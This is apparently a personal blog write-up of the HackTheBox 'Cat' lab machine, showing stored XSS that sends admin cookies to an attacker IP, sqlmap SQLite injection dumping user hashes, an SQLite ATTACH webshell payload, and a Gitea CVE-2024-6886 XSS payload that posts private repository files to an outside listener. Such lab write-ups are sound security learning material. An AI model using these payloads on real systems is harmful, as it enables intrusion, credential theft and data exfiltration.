Post

Cat

This machine involves Stored XSS with public exploits very much fun to solve!

Cat
Machine Link 🛡️Cat
Operating SystemLinux
DifficultyMedium
Machine Created byFisMatHack

1️⃣ Introduction

Cat is a medium-difficulty Linux machine that features a custom PHP web application vulnerable to cross-site scripting (XSS),SQL injection on SQLite database. And for privilege escalation I will be exploiting CVE CVE-2024-6886 that is an XSS vulnerability on Gitea that can give me root user.


2️⃣ Port Scanning

Why:

  • I will be using Nmap Tool for Network Mapping for the victim machine to enumerate for the open ports.
  • I am using it because it gives me a detailed output with the help of all the necessary flags.

Commands:

1
nmap -sC -sV -p- -oN nmap.txt 10.10.x.x
1
2
3
4
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We got 2 open ports 🔻

  • 22 : This port is for SSH connection and not vulnerable on and not in focus for further enumeration.
  • 80 : This port running Apache web server so lets start with this enumeration for any vulnerability into the web application.

3️⃣ Web Enumeration

Lets check on port 80 and while browsing this IP takes me to its domain name cat.htb. Lets set the /etc/hosts file with IP and its domain name. This is because we can recognize the IP:80 with its domain name.

Website cat.htb

Lets find some more files from this site through directory listing or brute-forcing using tools like feroxbuster, dirb, gobuster as you like.

1
└─$ feroxbuster -u http://cat.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -t 100 -C 403,404,400,503,500 -k -x txt,php -o ferox.json 

Directory Bruteforce with feroxbuster tool

Lets grab these /.git/ directory files into our system through git_dumper.py Tool. You can also download git-dumper through this command 🔽

1
pipx install git-dumper 
1
└─$ python3 ~/Downloads/git-dumper/git_dumper.py http://cat.htb/.git/ Git/

git-dumper Tool into Git directory omits the source code of its webpage page

Let’s see what we get from this .git directory into our Git folder 🔻

Files and Folders that are extracted from .git directory

Let’s enumerate some file upload functionalities and hidden gems from these source code files 🔽

I looked into a file named as contest.php that lets me register a cat with its credentials and though its source code, I got to know that 🔻

Input validation has be implemented into the registration form for each fields

This variable $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/"; does not let me inject any kind of injection like XSS,SSTI or any sqli so let’s look for any other input pages like user registration page (join.php) or the login page for injection.

But I have to confirm that this variable is not present for any other validation purposes otherwise I would not be able to test this injection for those files ⤵️

Only contest.php contains this input restricted validation string

That means see the source code of join.php for any other restrictions or validation implementation.

join.php Page only validates the input commands not for any injection validations

This let me curious for trying many injection vulnerabilities and let’s catch for its response.

1
<script>fetch('http://10.10.16.8/steal?cookie=' + btoa(document.cookie));</script>

Here is the full working of admin call and stealing the cookie from the site 🔻

Full walkthrough of the xss cookie steal

Now let’s use this cookie to be an admin like this 🔻

Demonstration of Cookies on this site

This way I got the admin panel enabled now I can use 3 options that is 🔻

Three options

Now Let’s see the Accept Page and its source code 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

            echo "The cat has been accepted and added successfully.";
        } else {
            echo "Error: Cat ID or Cat Name not provided.";
        }
    } else {
        header("Location: /");
        exit();
    }
} else {
    echo "Access denied.";
}
?>

Here In this code the value of catName is directory entered to the database that makes it SQL vulnerable that means we have SQLite Injection here. Another reason I am the site administrator is to have the admin user cookie, which expires quickly, thus I had to create the cookie several times during the SQL injection process.


4️⃣ Vulnerability Identification

SQLite Injection Vulnerability :
  • What it is: This SQLite is a database and contain data of the website which includes credentials

  • Why the target is vulnerable: Due to poor input validation check and misconfig, etc.

  • Links:


5️⃣ Exploitation

Content:

  • For exploitation of this vulnerability I used Tool called SQLMAP that works for any kind of SQL Injection attack.

  • Commands used:

1
└─$ sqlmap -r accept_cat.req --thread=10 -p 'catName' --batch --dbms=sqlite --level=5 --risk=3 --dbs cats -T users --dump
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
       __H__
 ___ ___[(]_____ ___ ___  {1.9.6#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|'   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end users responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 

[09:53:30] [INFO] parsing HTTP request from 'accept_cat.req'
[09:53:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: catName=BLLI'||(SELECT CHAR(122,73,72,84) WHERE 2252=2252 AND 9867=9867)||'&catId=1

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: catName=BLLI'||(SELECT CHAR(86,122,113,106) WHERE 3267=3267 AND 4167=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'&catId=1
---
[09:53:32] [INFO] testing SQLite

user_idemailpasswordusername
1axel2017@gmail.comdxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxfaxel
2rosamendoza485@gmail.comac369922d560f17d6eebxxxxxxxxxx98crosa
3robertcervantes2000@gmail.com42846631708f69c00ec0c0a8aa4a92adrobert
4fabiancarachure2323@gmail.com39e153e825c4a3d314a0dc7f7475ddbefabian
5jerrysonC343@gmail.com791593h190??????????????????????jerryson
6larryP5656@gmail.com1b6dce240bbfbc0905a664ad199e18f8larry
7royer.royer2323@gmail.comc598f6b844a36fa7836fba0835f1f6royer
8peterCC456@gmail.come41ccefa439fc454f7eadbf1f139ed8apeter
9angel234g@gmail.com24a8ec003ac2e1b3c5953a6f95f8f565angel
10jobert2020@gmail.com88e4dceccd48820cf77b5cf6c08698adjobert
11admin1@gmail.com21232f297a57a5a743894a0e4a801fc3 (admin)<script> fetch('http://10.10.16.15/steal2?cookie=' + btoa(document.cookie));</script>

Now I used the online md5 hash cracking platform called md5hashing. There I got my axel user’s password and It worked for SSH connection.

  • Now for the Alternative method we can also use SQLite Injection for RCE with this payload 🔻

    1
    2
    3
    4
    5
    
      ## SQLite Remote Code Execution
      ### Attach Database
      ATTACH DATABASE '/var/www/lol.php' AS lol;
      CREATE TABLE lol.pwn (dataz text);
      INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
    

    As per the parameter of catName the script state this 🔻

    $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";

    so for the injection to work I need to modify it like this ⏬

    1
    2
    3
    
          cat123');ATTACH DATABASE '/var/www/lol.php' AS lol;
          CREATE TABLE lol.pwn (dataz text);
          INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
    

Note : That the path may differ for the lol.php file as per the write access of the default user on the victim machine.

  • This will add a RFI (Remote File Inclusion) file that will act as a command execution webshell.

6️⃣ Getting Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ ssh axel@cat.htb        
axel@cat.htbs password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro


You have mail.
Last login: Wed Jul 16 04:38:20 2025 from 10.10.16.15
axel@cat:~$ whoami
axel
axel@cat:~$ id
uid=1000(axel) gid=1000(axel) groups=1000(axel)
axel@cat:~$ hostname
cat
axel@cat:~$ ls -al
total 32
drwxr-x--- 5 axel axel 4096 Jan 21 12:52 .
drwxr-xr-x 6 root root 4096 Aug 30  2024 ..
lrwxrwxrwx 1 root root    9 Jan 21 12:49 .bash_history -> /dev/null
-rw-r--r-- 1 axel axel 3739 Aug 29  2024 .bashrc
drwx------ 2 axel axel 4096 Sep  7  2024 .cache
drwxrwxr-x 3 axel axel 4096 Sep  4  2024 .local
-rw-r--r-- 1 axel axel  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root root    9 Sep  4  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root    9 Jan 21 12:49 .sqlite_history -> /dev/null
drwx------ 2 axel axel 4096 Jan 14 17:09 .ssh
-rw-r----- 1 root axel   33 Jul 16 04:01 user.txt
axel@cat:~$ cat user.txt
370ffa0110541d137e67c7ef41b0d9cb
axel@cat:~$ 

As I logged in I got a message indicating that You have mail. so lets check the /var/mail and here I found these mails from rose user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
axel@cat:/var/mail$ cat axel
From rosa@cat.htb  Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
	by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
	for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
	by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
	for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb  Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
	by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
	for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
	by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
	for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

That indicates that there is an another site running locally lets see 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
axel@cat:/var/mail$ ss -tunlp
Netid       State        Recv-Q       Send-Q             Local Address:Port              Peer Address:Port      Process       
udp         UNCONN       0            0                  127.0.0.53%lo:53                     0.0.0.0:*                       
tcp         LISTEN       0            1                      127.0.0.1:36277                  0.0.0.0:*                       
tcp         LISTEN       0            4096               127.0.0.53%lo:53                     0.0.0.0:*                       
tcp         LISTEN       0            128                      0.0.0.0:22                     0.0.0.0:*                       
tcp         LISTEN       0            4096                   127.0.0.1:3000                   0.0.0.0:*                       
tcp         LISTEN       0            10                     127.0.0.1:25                     0.0.0.0:*                       
tcp         LISTEN       0            128                    127.0.0.1:56999                  0.0.0.0:*                       
tcp         LISTEN       0            37                     127.0.0.1:54025                  0.0.0.0:*                       
tcp         LISTEN       0            10                     127.0.0.1:587                    0.0.0.0:*                       
tcp         LISTEN       0            511                            *:80                           *:*                       
tcp         LISTEN       0            128                         [::]:22                        [::]:*                       
axel@cat:/var/mail$ 

Port 3000 is running locally lets access it on the attacker machine outsite with SSH port forwarding method like this 🔻

1
2
└─$ ssh -L 3000:127.0.0.1:3000 axel@cat.htb
axel@cat.htb's password: 

7️⃣ Vulnerability Identification

Gitea version 1.22.0 ▶️ CVE-2024-6886 :
  • What it is: Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user’s session.

  • Why the target is vulnerable: This site have this version installed.

Gitea version


8️⃣ Post-Exploitation Enumeration

For Exploitation of this vulnerability I will be using the same exploit-db path ways on the difference will be my payload 🔻

Payload uploading on description option

The poc exploit payload looks like this 🔻

1
<a href=javascript:alert()>XSS test</a>

Lets generate a payload to have to capture the reponse of the link that will be clicked by the server user or the admin.

Kimi AI used for one-liner payload generation

1
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(r=>r.text()).then(t=>fetch('http://10.10.16.15/',{method:'POST',body:t}));void(0);">XSS test</a>

I have to send the mail to the joseph as per the mail sent by the rose instructions.

mail sent by rose to axel

1
echo 'http://localhost:3000/axel/demo' | sendmail jobert@localhost

But this will not trigger unless I create a file into the git repo so.

Let capture the response on the netcat listeners 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.53] 44186
POST / HTTP/1.1
Host: 10.10.16.22
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 117
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.     

I did not find README.md file so lets look for the index.php file may be I could find some information there 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
└─$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.53] 54836
POST / HTTP/1.1
Host: 10.10.16.22
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 420
Origin: http://localhost:3000
Connection: keep-alive
Priority: u=4

<?php
$valid_username = 'admin';
$valid_password = 'xxxxxxxxxxxxxxxx';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || 
    $_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
    
    header('WWW-Authenticate: Basic realm="Employee Management"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}

header('Location: dashboard.php');
exit;
?>

I got the creds now lets have a root access.


9️⃣ Root Access

This is how I got the root access 🔻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
axel@cat:/tmp$ su - root
Password: 
root@cat:~# whoami
root
root@cat:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cat:~# cd /root
root@cat:~# ls -al
total 56
drwx------  8 root root 4096 Jul 18 04:02 .
drwxr-xr-x 19 root root 4096 Aug 31  2024 ..
lrwxrwxrwx  1 root root    9 Jan 21 12:49 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Aug 29  2024 .bashrc
drwxr-xr-x  5 root root 4096 Jul 22  2024 .cache
drwx------  3 root root 4096 Jan 14  2025 .config
-rw-r--r--  1 root root   85 Jun  4  2024 .gitconfig
drwxr-xr-x  3 root root 4096 Jun  3  2024 .local
drwx------  3 root root 4096 Jun 12  2024 .mozilla
-rw-r--r--  1 root root  161 Dec  5  2019 .profile
-rw-r-----  1 root root   33 Jul 18 04:02 root.txt
drwxr-xr-x  3 root root 4096 Sep 28  2024 scripts
-rw-r--r--  1 root root   66 Jun  8  2024 .selected_editor
lrwxrwxrwx  1 root root    9 Jan 21 12:49 .sqlite_history -> /dev/null
drwx------  2 root root 4096 Jan 14  2025 .ssh
-rw-r--r--  1 root root  165 Jan 21 12:49 .wget-hsts
root@cat:~# cat root.txt
3e353271782c9d7d7969e8ff4cb9bf9a
root@cat:~# 

🔍 Mitigation

✅ Patch the XSS Vulnerability so that unauthorized user can’t steal the cookies.
✅ Patch the Gitea version so that public exploit don’t work on them.
✅ Lastly Patch the SQLi vulnerability on SQLite database.
✅ Another thing is that don’t give any unauthorized system user with group privileges with adm that allows access to readable login creds logs.


💡 Takeaways

✅ I got to learn about the stored XSS vulnerability.
✅ This machine lets me think about the other web vulnerabilities like XSS injections rather then other injections.
✅ I got to learn about the adm group privileges + the SQLi to RCE method with SQLite Injection also used AI for crafting the one-liner JS payload.


📌 References


If you have any questions or suggestions, please leave a comment below or DM me on Twitter. Thank you!

This post is licensed under CC BY 4.0 by the author.